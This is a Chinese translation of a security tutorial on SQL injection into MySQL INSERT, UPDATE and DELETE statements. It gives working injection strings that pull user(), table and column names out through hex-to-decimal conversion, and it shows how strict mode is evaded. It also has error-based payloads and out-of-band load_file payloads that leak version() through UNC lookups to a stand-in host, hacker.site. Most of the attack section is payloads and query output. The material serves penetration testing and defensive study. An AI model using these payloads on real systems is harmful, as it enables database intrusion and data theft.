MySQL Out-of-Band 注入攻击

作者:Osanda

原文链接:http://t.cn/RJz9KA3

本文由 看雪翻译小组ghostway编译

综述

INSERT

和 UPDATE 传统的

in-band(带内)注入方式是修改查询语句。举个栗子,一条INSERT语句可以通过修改查询语句内容,注释掉不要用到的,提交,从返回的数据中提取有用的信息,UPDATE

语句的操作也是类似的,但是只适用于多列的情况。假如我们面临的 UPDATE 或 INSERT 只是单列的情况或者我们不知道准确的查询语句或者

mysql_error() 没有显示错误信息呢?

我们看如下的情况,如何注入?为了简单的目的,以下语句并没有太复杂

$query = "UPDATE users SET username = '$username' WHERE id = '$id';";

参数:

username=test&id=16

最近我一直在研究这种情况下 in-band 和 out-of-band 的利用方法。

为了理解我所描述的,我们先看 MySQL 如何处理字符串。简单地说,MySQL 中一个字符串等于 '0' 。如下:

mysql> select 'osanda' = 0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 'osanda' = 0 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1            |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

mysql> select !'osanda';

+‐‐‐‐‐‐‐‐‐‐‐+

| !'osanda' |

+‐‐‐‐‐‐‐‐‐‐‐+

| 1         |

+‐‐‐‐‐‐‐‐‐‐‐+

假如我们给一个字符串+数字呢?应该是等于0+数字。

mysql> select 'osanda'+123;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 'osanda'+123 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 123          |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

这个动态特性,让我想到了很多。但是,我们先进一步研究下 data type。

假如我们给一个字符串加一个 MySQL 中支持的最大值,比如 BIGINT 类型的,会如何呢?

mysql> select 'osanda'+~0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 'osanda'+~0           |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1.8446744073709552e19 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

值是‘1.8446744073709552e19’ 意味着,最终字符串返回的是一个 8 字节的 DOUBLE 类型数据。继续验证:

mysql> select ~0+0e0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| ~0+0e0                |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1.8446744073709552e19 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

mysql> select (~0+0e0) = ('osanda' + ~0) ;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| (~0+0e0) = ('osanda' + ~0) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1                          |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

经过验证,我们知道 string 返回的值就是一个 DOUBLE 数字。给一个 larger 值+一个 DOUBLE 数字,将返回一个 IEEE 标准 DOUBLE 精度数字。为了克服这个问题,我们只需要进行按位或操作。

mysql> select 'osanda' | ~0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 'osanda' | ~0        |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 18446744073709551615 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

完美,我们获得了最大的 64-bit 的 BITINT 值是 0xffffffffffffffff 。现在,我们可以确定,通过按位或操作,我们可以获得精确的数值,且该值一定小于 BIGINT,因为我们不可能超过 64-bit 大小。

String->数字转换

假如我们使用数字来传递数据,然后再回显的时候再将数字转换回来,会如何?从这个出发点,我想出了这个方案。首先,我们将 String 转换为 hex 值,下一步,将 hex 值转换为数字。

String ‐> Hexadecimal ‐> Decimal

mysql> select conv(hex(version()), 16, 10);

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex(version()), 16, 10)   |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 58472576987956                 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

解密的时候,我们做逆操作。

Decimal ‐> Hexadecimal ‐> String

mysql> select unhex(conv(58472576987956, 10, 16));

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| unhex(conv(58472576987956, 10, 16)) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 5.5.34                              |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

但是,请注意,我上文提到过的一点。MySQL 中最大的数字的类型是 BITINT,我们不能超过这个范围。因此一个字符串

的最大长度是8个字节。如下:

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex('AAAAAAAA'), 16, 10)   |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 4702111234474983745             |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

注意‘4702111234474983745’可以解密回‘4702111234474983745’,但是如果我们再加一个‘A’,我们将无法获得

正确的数字,将产生一个无符号的BIGINT值0xffffffffffffffff

mysql> select conv(hex('AAAAAAAAA'), 16, 10);

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex('AAAAAAAAA'), 16, 10) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 18446744073709551615           |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

mysql> select conv(hex('AAAAAAAAA'), 16, 10) = ~0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex('AAAAAAAAA'), 16, 10) = ~0 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1                                   |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

由于这个限制,我们必须将一个字符串分割成8个字节的单独字符串。我们可以使用 substr() 函数。

select conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)), 16, 10);(n从1开始)

例如,对于user()返回的字符串,按8个字节为单位裁剪,依次处理,直至为空。

mysql> select conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)), 16, 10);

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)), 16, 10) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 8245931987826405219                                    |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

mysql> select conv(hex(substr(user(),1 + (2‐1) * 8, 8 * 2)), 16, 10);

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex(substr(user(),1 + (2‐1) * 8, 8 * 2)), 16, 10) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 107118236496756                                        |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

最后,我们解码我们获得的结果:

mysql> select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756,

10,

16)));

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| root@localhost                                                                         |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

注入

1. 提取表名

以下语法用来从 information_schema 数据库中提取表名:

select conv(hex(substr((select table_name from information_schema.tables where

table_schema=schema() limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);

2. 提取列名

以下语法用来从 information_schema 数据库中提取列名:

select conv(hex(substr((select column_name from information_schema.columns where

table_name=’Name of your table’ limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);

3. update 语句

现在我们可以将之前学到的用起来。如下是一个使用这种方式的update语句的例子:

update emails set email_id='osanda'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10)

where id='16';

对于之前提到的例子,我们可以这样注入:

name=test' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16, 10) where id=16;%00&id=16

最终的语句将会变成这样:

update users set username = 'test' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16,

10) where id=16;%00' where id = '16';

这个是我开发的一个测试程序的截图:

MySQL Out-of-Band 注入攻击_第1张图片

4. Insert 语句

我们假设一个insert语句如下:

insert into users values (17,'james', 'bond');

和update语句一样,你可以这样利用:

insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n‐1) * 8, 8

* n)),16, 10);

当然在这个例子中,你可以修改该语句,然后注入,但是就像之前提到的情况,如果该insert语句只有一列,那么这个方法将非常有用。

MySQL 5.7中的限制

你可能注意到了,该方法在MySQL5.7.5之后的版本中无效了。

mysql> update users set username = 'osanda' | conv(hex(substr(user(),1 + (1‐

1) * 8, 8 * 1)),16, 10) where id=14;

ERROR 1292 (22007): Truncated incorrect INTEGER value: 'osanda'

在MySQL5.7版本上研究发现,MySQL服务器默认运行在 Strict SQL 模式下。MySQL 5.7.5,默认的 sql_mode 包含标

志 STRICT_TRANS_TABLES 。

SELECT @@GLOBAL.sql_mode;

SELECT @@SESSION.sql_mode;


MySQL Out-of-Band 注入攻击_第2张图片

在MySQL5.7的Strict SQL 模式下,你不能利用这个从整数到字符串转换的技巧,因为原始的列的数据类型是’varchar’。Strict模式用以控制MySQL怎样处理比如INSERT或UPDATE语句中遇到无效的或者丢失的数据类型转换语句。如果数据类型错误,则抛出一个异常。

为了克服这个,你必须在注入的时候总是使用一个整数。如下,这个查询是OK的。

mysql> update users set username = '0' | conv(hex(substr(user(),1 + (1‐1) * 8, 8 *

1)),16, 10) where id=14;

Query OK, 1 row affected (0.08 sec)

Rows matched: 1 Changed: 1 Warnings: 0

除此之外,你可以在运行的时候关闭Strict模式。 SESSION 变量任意用户在他自身的会话中都都可以修改。

SET sql_mode = '';

SET SESSION sql_mode = '';

设置 GLOBAL 变量需要 SUPER 权限,同时影响所有当前连接的客户端的行为。

SET GLOBAL sql_mode = '';

要做一个持久的方案,你需要在MySQL Server启动的时候指定参数 sql_mode 为空。

mysqld.exe ‐‐sql‐mode=

你也可以给你的配置文件‘my.cnf’中添加如下选项:

sql‐mode=

为了观察到默认选项的加载顺序和配置文件的路径,可以如下操作:

mysqld.exe ‐‐help ‐‐verbose

你可以创建一个文件‘myfile.ini’,然后指定该文件是MySQL的默认配置文件:

mysqld.exe ‐‐defaults‐file=myfile.ini11

配置内容如下:

[mysqld]

sql‐mode=

如果一个开发人员使用了 IGNORE 关键字,则 Strict 模式 被忽略。我们可以在Strict模式下使用比如 INSERT IGNORE 或

者 UPDATE IGNORE 关键字。如下:

mysql> update ignore users set username = 'osanda' | conv(hex(substr(user(),1 + (1‐1)

* 8, 8 * 1)),16, 10) where id=14;

Query OK, 1 row affected, 1 warning (0.30 sec)

Rows matched: 1 Changed: 1 Warnings: 1

解码

提供一些不同语言的解码的方法:

SQL

select unhex(conv(value, 10, 16));

Python

dec = lambda x:("%x"%x).decode('hex')

Ruby

dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }

Ruby中也可以这样用:

dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") }

传统的常规方法

当存在多列情况的注入点时,你可以用如下常规注入方法:

1. Update语句

假设依然是之前的问题,但是这次我们有两列。我们需要知道另一个列名:

UPDATE newsletter SET username = '$user', email = '$email' WHERE id = '$id';

如果应用程序回显了‘$emial’变量给我们,我们可以这样注入:

username=test',email = (select version()) where id = '16'‐‐ ‐&email=test

2. Insert 语句

如果我们使用 query 来做例子,像前一个例子,我们可以通过修改查询语句来注入。但是,需要提前知道 value 的个数。

INSERT INTO `database`.`users` (`id`,`user`,`pass`) VALUES ('$id','$user', '$pass');

如果应用程序回显了‘$user’变量给我们,我们可以这样注入:

id=16',(SELECT @@version), 'XXX');‐‐ ‐&user=test&pass=test

Error Based 的注入

我之前写过一篇关于Insert,Update和Delete语句注入的文章。你可以使用如Error Based 的注入例子。

Update语句

UPDATE users SET password = 'osanda'*multipoint((select*from(select

name_const(version(),1))x))*'' WHERE id='16' ;

UPDATE users SET password = 'osanda' WHERE id='16'*polygon((select*from(select

name_const(version(),1))x))*'' ;

Insert语句

INSERT INTO users VALUES (17,'james', 'bond'*polygon((select*from(select

name_const(version(),1))x))*'');13 | P a g e

Delete语句

DELETE FROM users WHERE id='17'*polygon((select*from(select

name_const(version(),1))x))*'';

将 ‘*’ 替换为: ||, or, |, and, &&, &, >>, <<, ^, xor, =, mul, /, div, ‐, +, %,

mod.

Out-of-Band(OOB)注入

你可以查看我之前的研究,我详细描述过windows平台上,关于MySQL的OOB技术。同样的方法可以运用到’INSERT’,

‘UPDATE’和’DELETE’语句中。

Update语句

UPDATE users SET username =

'osanda'load_file(concat('\\\\',version(),'.hacker.siste\\a.txt')) WHERE id='15';

UPDATE users SET username = 'osanda' WHERE

id='15'*load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Insert语句

INSERT into users VALUES

(15,'james','bond'|load_file(concat('\\\\',version(),'.hacker.site\\a.txt')));

Delete语句

DELETE FROM users WHERE

id='15'*load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

可以使用 ||, or, |, and, &&, &, >>, <<, ^, xor, =, *,mul, /, div, ‐, +, %,

mod.

结论

在实际的场景中,一个漏洞通常并不是可以直接利用的。在SQL注入中取决于你利用这些技术来想出一个创建性的方案。

分析对应的情景,调整你的思路,找到正确的方法。

感谢

特别感谢 Mukarram Khalid (@themakmaniac)测试了我的研究。

引用

http://dev.mysql.com/doc/refman/5.7/en/

声明:转载请保留文章的完整性,注明作者、译者及原文链接。

你可能感兴趣的:(MySQL Out-of-Band 注入攻击)